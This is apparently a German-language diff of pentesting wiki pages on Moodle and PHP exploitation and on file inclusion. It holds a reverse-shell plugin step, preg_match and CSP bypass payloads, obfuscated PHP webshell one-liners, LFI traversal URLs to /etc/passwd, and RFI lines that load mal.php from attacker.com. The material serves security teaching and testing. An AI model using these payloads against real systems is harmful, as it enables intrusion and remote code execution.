Wenn Sie Manager sind, müssen Sie möglicherweise diese **Option aktivieren**. Sie können sehen, wie im Moodle Privilegien-Eskalation PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Dann können Sie **das folgende Plugin installieren**, das die klassische pentest-monkey PHP r**ev shell** enthält (_bevor Sie es hochladen, müssen Sie es dekomprimieren, die IP und den Port der revshell ändern und es erneut komprimieren_)
Dann können Sie **das folgende Plugin installieren**, das die klassische pentest-monkey php r**ev shell** enthält (_bevor Sie es hochladen, müssen Sie es dekomprimieren, die IP und den Port der revshell ändern und es erneut komprimieren_)
{% file src="../../images/moodle-rce-plugin.zip" %}
{{#file}}
moodle-rce-plugin.zip
{{#endfile}}
Oder Sie könnten das Plugin von [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) verwenden, um eine reguläre PHP-Shell mit dem "cmd"-Parameter zu erhalten.

View File

@ -2,8 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Häufiger Speicherort für Cookies:
## Cookies allgemeiner Speicherort:
Dies gilt auch für phpMyAdmin-Cookies.
@ -29,13 +28,15 @@ PHP-Vergleichstabellen: [https://www.php.net/manual/en/types.comparisons.php](ht
![](<../../../images/image (567).png>)
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
{{#file}}
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
{{#endfile}}
- `"string" == 0 -> True` Ein String, der nicht mit einer Zahl beginnt, ist gleich einer Zahl
- `"0xAAAA" == "43690" -> True` Strings, die aus Zahlen im Dezimal- oder Hexadezimalformat bestehen, können mit anderen Zahlen/Strings verglichen werden, wobei das Ergebnis True ist, wenn die Zahlen gleich sind (Zahlen in einem String werden als Zahlen interpretiert)
- `"0xAAAA" == "43690" -> True` Strings, die aus Zahlen im dezimalen oder hexadezimalen Format bestehen, können mit anderen Zahlen/Strings verglichen werden, wobei das Ergebnis True ist, wenn die Zahlen gleich sind (Zahlen in einem String werden als Zahlen interpretiert)
- `"0e3264578" == 0 --> True` Ein String, der mit "0e" beginnt und gefolgt von irgendetwas ist, wird gleich 0 sein
- `"0X3264578" == 0X --> True` Ein String, der mit "0" beginnt und gefolgt von einem beliebigen Buchstaben (X kann jeder Buchstabe sein) und gefolgt von irgendetwas ist, wird gleich 0 sein
- `"0e12334" == "0" --> True` Dies ist sehr interessant, da Sie in einigen Fällen die String-Eingabe von "0" und einige Inhalte, die gehasht und damit verglichen werden, steuern können. Daher, wenn Sie einen Wert bereitstellen können, der einen Hash erzeugt, der mit "0e" beginnt und ohne Buchstaben ist, könnten Sie den Vergleich umgehen. Sie können **bereits gehashte Strings** mit diesem Format hier finden: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"0e12334" == "0" --> True` Dies ist sehr interessant, da Sie in einigen Fällen die String-Eingabe von "0" und einige Inhalte, die gehasht und damit verglichen werden, steuern können. Wenn Sie also einen Wert bereitstellen können, der einen Hash erzeugt, der mit "0e" beginnt und ohne Buchstaben ist, könnten Sie den Vergleich umgehen. Sie können **bereits gehashte Strings** mit diesem Format hier finden: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` Jeder Buchstabe in einem String ist gleich int 0
Weitere Informationen unter [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -73,7 +74,7 @@ Selbst wenn `===` **verwendet wird**, kann es Fehler geben, die den **Vergleich
#### New line bypass
Wenn jedoch der Anfang des Regex mit `preg_match()` **abgegrenzt** wird, **prüft** es **nur die erste Zeile der Benutzereingabe**, und wenn Sie die Eingabe irgendwie in **mehreren Zeilen** **senden** können, könnten Sie in der Lage sein, diese Überprüfung zu umgehen. Beispiel:
Wenn jedoch der Anfang des Regex mit `preg_match()` **nur die erste Zeile der Benutzereingabe überprüft**, dann könntest du, wenn du die Eingabe in **mehreren Zeilen** **senden** kannst, in der Lage sein, diese Überprüfung zu umgehen. Beispiel:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -96,7 +97,7 @@ Finden Sie ein Beispiel hier: [https://ramadistra.dev/fbctf-2019-rceservice](htt
#### **Length error bypass**
(Diese Umgehung wurde anscheinend auf PHP 5.2.5 ausprobiert und ich konnte sie nicht auf PHP 7.3.15 zum Laufen bringen)\
(Diese Umgehung wurde anscheinend auf PHP 5.2.5 versucht und ich konnte sie nicht auf PHP 7.3.15 zum Laufen bringen)\
Wenn Sie `preg_match()` eine gültige sehr **große Eingabe** senden, **wird es nicht in der Lage sein, sie zu verarbeiten** und Sie werden in der Lage sein, die Überprüfung zu **umgehen**. Zum Beispiel, wenn es eine JSON auf die schwarze Liste setzt, könnten Sie senden:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
@ -109,12 +110,12 @@ Trick von: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-w
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
Kurz gesagt, das Problem tritt auf, weil die `preg_*` Funktionen in PHP auf der [PCRE-Bibliothek](http://www.pcre.org/) basieren. In PCRE werden bestimmte reguläre Ausdrücke durch viele rekursive Aufrufe abgeglichen, was viel Stack-Speicher verbraucht. Es ist möglich, ein Limit für die Anzahl der erlaubten Rekursionen festzulegen, aber in PHP beträgt dieses Limit [standardmäßig 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), was mehr ist, als im Stack Platz hat.
Kurz gesagt, das Problem tritt auf, weil die `preg_*` Funktionen in PHP auf der [PCRE-Bibliothek](http://www.pcre.org/) basieren. In PCRE werden bestimmte reguläre Ausdrücke durch viele rekursive Aufrufe abgeglichen, was viel Stack-Speicher benötigt. Es ist möglich, ein Limit für die Anzahl der erlaubten Rekursionen festzulegen, aber in PHP beträgt dieses Limit [standardmäßig 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), was mehr ist, als im Stack Platz hat.
[Dieser Stackoverflow-Thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) wurde ebenfalls in dem Beitrag verlinkt, in dem ausführlicher über dieses Problem gesprochen wird. Unsere Aufgabe war nun klar:\
**Sende eine Eingabe, die die Regex dazu bringt, 100_000+ Rekursionen durchzuführen, was zu SIGSEGV führt, wodurch die `preg_match()` Funktion `false` zurückgibt und die Anwendung denkt, dass unsere Eingabe nicht bösartig ist, und am Ende des Payloads eine Überraschung wie `{system(<verybadcommand>)}` wirft, um SSTI --> RCE --> Flag :)**.
**Sende eine Eingabe, die die Regex dazu bringt, 100_000+ Rekursionen durchzuführen, was zu SIGSEGV führt, wodurch die `preg_match()` Funktion `false` zurückgibt und die Anwendung denkt, dass unsere Eingabe nicht bösartig ist, und am Ende des Payloads eine Überraschung wie `{system(<verybadcommand>)}` wirft, um SSTI --> RCE --> Flag :) zu erhalten.**
Nun, in Regex-Begriffen führen wir tatsächlich keine 100k "Rekursionen" durch, sondern zählen "Backtracking-Schritte", die, wie die [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) besagt, standardmäßig 1_000_000 (1M) in der Variablen `pcre.backtrack_limit` beträgt.\
Nun, in Regex-Begriffen führen wir tatsächlich keine 100k "Rekursionen" durch, sondern zählen stattdessen "Backtracking-Schritte", die, wie die [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) angibt, standardmäßig 1_000_000 (1M) in der Variablen `pcre.backtrack_limit` beträgt.\
Um das zu erreichen, wird `'X'*500_001` zu 1 Million Backtracking-Schritten führen (500k vorwärts und 500k rückwärts):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
@ -173,7 +174,7 @@ True
#### Fehler verursachen nach dem Setzen von Headern
Aus [**diesem Twitter-Thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) kann man sehen, dass das Senden von mehr als 1000 GET-Parametern oder 1000 POST-Parametern oder 20 Dateien dazu führt, dass PHP keine Header in der Antwort setzen wird.
Aus [**diesem Twitter-Thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) können Sie sehen, dass das Senden von mehr als 1000 GET-Parametern oder 1000 POST-Parametern oder 20 Dateien dazu führt, dass PHP die Header in der Antwort nicht setzen wird.
Dies ermöglicht es, beispielsweise CSP-Header zu umgehen, die in Codes wie:
```php
@ -183,8 +184,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### Füllen eines Körpers, bevor Header gesetzt werden
Wenn eine **PHP-Seite Fehler ausgibt und einige vom Benutzer bereitgestellte Eingaben zurückgibt**, kann der Benutzer den PHP-Server dazu bringen, einige **Inhalte auszugeben, die lang genug sind**, sodass der Server einen Fehler ausgibt, wenn er versucht, **die Header** in die Antwort einzufügen.\
Im folgenden Szenario hat der **Angreifer den Server dazu gebracht, einige große Fehler auszugeben**, und wie Sie auf dem Bildschirm sehen können, als PHP versuchte, **die Headerinformationen zu ändern, konnte es nicht** (zum Beispiel wurde der CSP-Header nicht an den Benutzer gesendet):
Wenn eine **PHP-Seite Fehler ausgibt und einige vom Benutzer bereitgestellte Eingaben zurückgibt**, kann der Benutzer den PHP-Server dazu bringen, einige **Inhalte auszugeben, die lang genug sind**, sodass der Server beim Versuch, **die Header** in die Antwort einzufügen, einen Fehler auslöst.\
Im folgenden Szenario hat der **Angreifer den Server dazu gebracht, einige große Fehler auszugeben**, und wie Sie auf dem Bildschirm sehen können, konnte PHP, als es versuchte, **die Headerinformationen zu ändern, dies nicht** (zum Beispiel wurde der CSP-Header nicht an den Benutzer gesendet):
![](<../../../images/image (1085).png>)
@ -275,7 +276,7 @@ Verschiedene .htaccess-Shells finden Sie [hier](https://github.com/wireghoul/hts
Wenn Sie eine Schwachstelle finden, die es Ihnen ermöglicht, **Umgebungsvariablen in PHP zu ändern** (und eine andere, um Dateien hochzuladen, obwohl dies mit mehr Forschung möglicherweise umgangen werden kann), könnten Sie dieses Verhalten ausnutzen, um **RCE** zu erhalten.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Diese Umgebungsvariable ermöglicht es Ihnen, beliebige Bibliotheken beim Ausführen anderer Binärdateien zu laden (obwohl es in diesem Fall möglicherweise nicht funktioniert).
- **`PHPRC`** : Weist PHP an, **wo es seine Konfigurationsdatei finden soll**, die normalerweise `php.ini` genannt wird. Wenn Sie Ihre eigene Konfigurationsdatei hochladen können, verwenden Sie `PHPRC`, um PHP darauf zu verweisen. Fügen Sie einen **`auto_prepend_file`**-Eintrag hinzu, der eine zweite hochgeladene Datei angibt. Diese zweite Datei enthält normalen **PHP-Code, der dann** von der PHP-Laufzeitumgebung vor jedem anderen Code ausgeführt wird.
- **`PHPRC`** : Weist PHP an, **wo es seine Konfigurationsdatei finden soll**, die normalerweise `php.ini` heißt. Wenn Sie Ihre eigene Konfigurationsdatei hochladen können, verwenden Sie `PHPRC`, um PHP darauf zu verweisen. Fügen Sie einen **`auto_prepend_file`**-Eintrag hinzu, der eine zweite hochgeladene Datei angibt. Diese zweite Datei enthält normalen **PHP-Code, der dann** von der PHP-Laufzeitumgebung vor jedem anderen Code ausgeführt wird.
1. Laden Sie eine PHP-Datei mit unserem Shellcode hoch.
2. Laden Sie eine zweite Datei hoch, die eine **`auto_prepend_file`**-Direktive enthält, die den PHP-Präprozessor anweist, die Datei aus Schritt 1 auszuführen.
3. Setzen Sie die `PHPRC`-Variable auf die Datei, die Sie in Schritt 2 hochgeladen haben.
@ -331,7 +332,7 @@ Sie können die **web**[ **www.unphp.net**](http://www.unphp.net) **verwenden, u
## PHP Wrappers & Protocols
PHP-Wrappers und -Protokolle könnten es Ihnen ermöglichen, **Schreib- und Lese-Schutzmaßnahmen** in einem System zu **umgehen** und es zu kompromittieren. Für [**weitere Informationen überprüfen Sie diese Seite**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
PHP-Wrappers und Protokolle könnten es Ihnen ermöglichen, **Schreib- und Lese-Schutzmaßnahmen** in einem System zu umgehen und es zu kompromittieren. Für [**weitere Informationen überprüfen Sie diese Seite**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug unauthenticated RCE
@ -351,7 +352,7 @@ echo "$x ${Da}"; //Da Drums
```
## RCE durch Missbrauch von $\_GET\["a"]\($\_GET\["b")
Wenn Sie auf einer Seite **ein neues Objekt einer beliebigen Klasse erstellen** können, könnten Sie in der Lage sein, RCE zu erlangen. Überprüfen Sie die folgende Seite, um zu lernen, wie:
Wenn Sie auf einer Seite **ein neues Objekt einer beliebigen Klasse erstellen** können, könnten Sie in der Lage sein, RCE zu erlangen. Überprüfen Sie die folgende Seite, um zu erfahren, wie:
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
@ -381,7 +382,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
Also, wenn Sie **willkürliches PHP ohne Zahlen und Buchstaben ausführen können**, können Sie eine Anfrage wie die folgende senden, um diese Nutzlast auszunutzen, um willkürliches PHP auszuführen:
Also, wenn Sie **willkürlichen PHP-Code ohne Zahlen und Buchstaben ausführen können**, können Sie eine Anfrage wie die folgende senden, um diese Nutzlast auszunutzen und willkürlichen PHP-Code auszuführen:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

View File

@ -1,8 +1,8 @@
# Dateieinbindung/Pfad Traversierung
# Dateieinschluss/Pfad Traversierung
{{#include ../../banners/hacktricks-training.md}}
## Dateieinbindung
## Dateieinschluss
**Remote File Inclusion (RFI):** Die Datei wird von einem Remote-Server geladen (Am besten: Sie können den Code schreiben und der Server wird ihn ausführen). In PHP ist dies **standardmäßig deaktiviert** (**allow_url_include**).\
**Local File Inclusion (LFI):** Der Server lädt eine lokale Datei.
@ -49,7 +49,7 @@ Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (u
## Grundlegende LFI und Umgehungen
Alle Beispiele sind für Local File Inclusion, können aber auch für Remote File Inclusion angewendet werden (Seite=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
Alle Beispiele sind für Local File Inclusion, können aber auch für Remote File Inclusion angewendet werden (Seite=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/)).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -82,9 +82,9 @@ Vielleicht überprüft das Backend den Ordnerpfad:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Erkundung von Dateisystemverzeichnissen auf einem Server
### Erforschen von Dateisystemverzeichnissen auf einem Server
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen auf die Existenz spezifischer Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen:
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen auf die Existenz bestimmter Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen:
1. **Bestimmen der Verzeichnistiefe:** Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei `/etc/passwd` abrufen (anwendbar, wenn der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein, was auf eine Tiefe von drei hinweist:
```bash
@ -97,7 +97,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
3. **Interpretieren der Ergebnisse:** Die Antwort des Servers zeigt an, ob der Ordner existiert:
- **Fehler / Keine Ausgabe:** Der Ordner `private` existiert wahrscheinlich nicht an dem angegebenen Ort.
- **Inhalt von `/etc/passwd`:** Das Vorhandensein des Ordners `private` ist bestätigt.
4. **Rekursive Erkundung:** Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Methoden der Local File Inclusion (LFI) untersucht werden.
4. **Rekursive Erkundung:** Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Local File Inclusion (LFI) Methoden untersucht werden.
Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Payload entsprechend an. Zum Beispiel, um zu überprüfen, ob `/var/www/` ein `private` Verzeichnis enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie:
```bash
@ -105,15 +105,15 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu erstellen, der, sobald er durch die Sicherheitsmaßnahme verändert wird, weiterhin auf die gewünschte Datei verweist.
Path-Truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu erstellen, der, sobald er durch die Sicherheitsmaßnahme verändert wird, weiterhin auf die gewünschte Datei verweist.
In PHP können verschiedene Darstellungen eines Dateipfades aufgrund der Natur des Dateisystems als gleichwertig betrachtet werden. Zum Beispiel:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` und `/etc/passwd/` werden alle als derselbe Pfad behandelt.
- Wenn die letzten 6 Zeichen `passwd` sind, ändert das Anhängen eines `/` (was es zu `passwd/` macht) die Ziel-Datei nicht.
- Ebenso, wenn `.php` an einen Dateipfad angehängt wird (wie `shellcode.php`), wird das Hinzufügen eines `/.` am Ende die aufgerufene Datei nicht verändern.
- Ebenso, wenn `.php` an einen Dateipfad angehängt wird (wie `shellcode.php`), wird das Hinzufügen von `/.` am Ende die aufgerufene Datei nicht verändern.
Die bereitgestellten Beispiele zeigen, wie man Path Truncation nutzen kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
Die bereitgestellten Beispiele zeigen, wie man Path-Truncation nutzen kann, um auf `/etc/passwd` zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -129,7 +129,7 @@ In diesen Szenarien könnte die Anzahl der benötigten Traversierungen etwa 2027
- **Bestimmung der erforderlichen Anzahl von Traversierungen**: Durch Ausprobieren kann man die genaue Anzahl der benötigten `../`-Sequenzen finden, um zum Stammverzeichnis und dann zu `/etc/passwd` zu navigieren, wobei sichergestellt wird, dass angehängte Zeichenfolgen (wie `.php`) neutralisiert werden, aber der gewünschte Pfad (`/etc/passwd`) intakt bleibt.
- **Beginn mit einem gefälschten Verzeichnis**: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (wie `a/`) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme oder zur Erfüllung der Anforderungen der Pfadverarbeitungslogik des Servers verwendet.
Bei der Anwendung von Techniken zur Pfadtrunkierung ist es entscheidend, das Verhalten der Pfadverarbeitung des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario könnte einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
Bei der Anwendung von Techniken zur Pfadtrunkierung ist es entscheidend, das Verhalten der Pfadverarbeitung des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.
**Diese Schwachstelle wurde in PHP 5.3 behoben.**
@ -143,7 +143,7 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
In php ist dies standardmäßig deaktiviert, da **`allow_url_include`** **Aus** ist. Es muss **Ein** sein, damit es funktioniert, und in diesem Fall könnten Sie eine PHP-Datei von Ihrem Server einfügen und RCE erhalten:
In php ist dies standardmäßig deaktiviert, da **`allow_url_include`** **aus** ist. Es muss **ein** sein, damit es funktioniert, und in diesem Fall könnten Sie eine PHP-Datei von Ihrem Server einfügen und RCE erhalten:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
@ -229,7 +229,7 @@ PHP-Filter ermöglichen grundlegende **Änderungsoperationen an den Daten**, bev
- `convert.iconv.*` : Transformiert in eine andere Kodierung (`convert.iconv.<input_enc>.<output_enc>`). Um die **Liste aller unterstützten Kodierungen** zu erhalten, führen Sie in der Konsole aus: `iconv -l`
> [!WARNING]
> Durch den Missbrauch des `convert.iconv.*` Konvertierungsfilters können Sie **willkürlichen Text generieren**, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include zu verwenden, um willkürlichen Text zu verarbeiten. Für weitere Informationen siehe [**LFI2RCE über PHP-Filter**](lfi2rce-via-php-filters.md).
> Durch den Missbrauch des `convert.iconv.*`-Konvertierungsfilters können Sie **willkürlichen Text generieren**, was nützlich sein könnte, um willkürlichen Text zu schreiben oder eine Funktion wie include zu verwenden, um willkürlichen Text zu verarbeiten. Für weitere Informationen siehe [**LFI2RCE über PHP-Filter**](lfi2rce-via-php-filters.md).
- [Kompressionsfilter](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Komprimiert den Inhalt (nützlich, wenn viele Informationen exfiltriert werden)
@ -240,7 +240,7 @@ PHP-Filter ermöglichen grundlegende **Änderungsoperationen an den Daten**, bev
- Andere Filter
- Wenn Sie in PHP `var_dump(stream_get_filters());` ausführen, können Sie ein paar **unerwartete Filter** finden:
- `consumed`
- `dechunk`: Kehrt die HTTP-Chunked-Kodierung um
- `dechunk`: Kehrt die HTTP-chunked Kodierung um
- `convert.*`
```php
# String Filters
@ -281,9 +281,9 @@ Im ursprünglichen Beitrag finden Sie eine detaillierte Erklärung der Technik,
- Dies wird verwendet, um einen **so großen Text zu generieren, wenn der Anfangsbuchstabe korrekt erraten wird**, dass php einen **Fehler** auslöst.
- Der **dechunk**-Filter wird **alles entfernen, wenn das erste Zeichen kein Hexadezimalzeichen ist**, sodass wir wissen können, ob das erste Zeichen hexadezimal ist.
- Dies, kombiniert mit dem vorherigen (und anderen Filtern, abhängig vom erratenen Buchstaben), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genügend Transformationen durchführen, um ihn nicht mehr als hexadezimales Zeichen zu betrachten. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird php einen Fehler auslösen.
- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe kein hexadezimales Zeichen mehr, daher wird dechunk es nicht löschen und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
- Der Codec **convert.iconv.UNICODE.CP930** transformiert jeden Buchstaben in den folgenden (nach diesem Codec: a -> b). Dies ermöglicht es uns zu entdecken, ob der erste Buchstabe ein `a` ist, zum Beispiel, denn wenn wir 6 von diesem Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe nicht mehr ein hexadezimales Zeichen, daher wird dechunk es nicht löschen und der php-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
- Durch die Verwendung anderer Transformationen wie **rot13** am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu exfiltrieren (und andere Codecs können verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
- Wenn das Anfangszeichen eine Zahl ist, muss es base64-kodiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren.
- Wenn das Anfangszeichen eine Zahl ist, muss es base64 codiert werden, und die ersten 2 Buchstaben müssen geleakt werden, um die Zahl zu exfiltrieren.
- Das endgültige Problem besteht darin, **wie man mehr als den Anfangsbuchstaben exfiltriert**. Durch die Verwendung von Ordnungsfilter wie **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** ist es möglich, die Reihenfolge der Zeichen zu ändern und an erster Stelle andere Buchstaben des Textes zu erhalten.
- Und um **weitere Daten** zu erhalten, besteht die Idee darin, **2 Bytes Junk-Daten am Anfang zu generieren** mit **convert.iconv.UTF16.UTF16**, **UCS-4LE** anzuwenden, um es **mit den nächsten 2 Bytes zu pivotieren**, und **die Daten bis zu den Junk-Daten zu löschen** (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Fahren Sie fort, dies zu tun, bis Sie das gewünschte Bit zum Leaken erreichen.
@ -370,24 +370,24 @@ phar-deserialization.md
### CVE-2024-2961
Es war möglich, **jede beliebige Datei, die von PHP gelesen wird und PHP-Filter unterstützt**, auszunutzen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Sehr kurze Zusammenfassung: ein **3-Byte-Überlauf** im PHP-Heap wurde ausgenutzt, um **die Kette freier Blöcke** einer bestimmten Größe zu **ändern**, um **alles an jede Adresse zu schreiben**, sodass ein Hook hinzugefügt wurde, um **`system`** aufzurufen.\
Es war möglich, **jede beliebige Datei, die von PHP unterstützt wird und php-Filter verwendet**, auszunutzen, um eine RCE zu erhalten. Die detaillierte Beschreibung kann [**in diesem Beitrag gefunden werden**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Sehr kurze Zusammenfassung: ein **3-Byte-Überlauf** im PHP-Heap wurde ausgenutzt, um **die Kette freier Blöcke** einer bestimmten Größe zu **verändern**, um **alles an jede Adresse zu schreiben**, sodass ein Hook hinzugefügt wurde, um **`system`** aufzurufen.\
Es war möglich, Blöcke spezifischer Größen auszuwählen, indem mehr PHP-Filter missbraucht wurden.
### Weitere Protokolle
Überprüfen Sie weitere mögliche [**Protokolle, die hier einbezogen werden können**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory und php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — In den Speicher oder in eine temporäre Datei schreiben (nicht sicher, wie dies bei einem Datei-Inclusion-Angriff nützlich sein kann)
- [php://memory und php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Schreiben in den Speicher oder in eine temporäre Datei (nicht sicher, wie dies bei einem Datei-Inclusion-Angriff nützlich sein kann)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Zugriff auf das lokale Dateisystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Zugriff auf HTTP(s)-URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Zugriff auf FTP(s)-URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressionsströme
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pfadnamen finden, die dem Muster entsprechen (gibt nichts Druckbares zurück, also hier nicht wirklich nützlich)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Finden von Pfadnamen, die einem Muster entsprechen (Es gibt nichts Druckbares zurück, also hier nicht wirklich nützlich)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio-Streams (nicht nützlich, um beliebige Dateien zu lesen)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio-Streams (Nicht nützlich, um beliebige Dateien zu lesen)
## LFI über PHPs 'assert'
## LFI über PHP's 'assert'
Die Risiken von Local File Inclusion (LFI) in PHP sind besonders hoch, wenn es um die Funktion 'assert' geht, die Code innerhalb von Strings ausführen kann. Dies ist besonders problematisch, wenn Eingaben mit Verzeichnis-Traversierungszeichen wie ".." überprüft, aber nicht ordnungsgemäß bereinigt werden.
@ -408,13 +408,13 @@ Es ist wichtig, diese **Payloads URL-zu kodieren**.
## PHP Blind Path Traversal
> [!WARNING]
> Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion**, die **auf eine Datei zugreift**, **steuern**, aber den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**) und der Inhalt nicht angezeigt wird.
> Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion**, die **auf eine Datei zugreift**, **steuern**, aber den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**) können, der Inhalt jedoch nicht angezeigt wird.
In [**diesem unglaublichen Beitrag**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blinder Pfad-Traversal über PHP-Filter missbraucht werden kann, um den **Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren**.
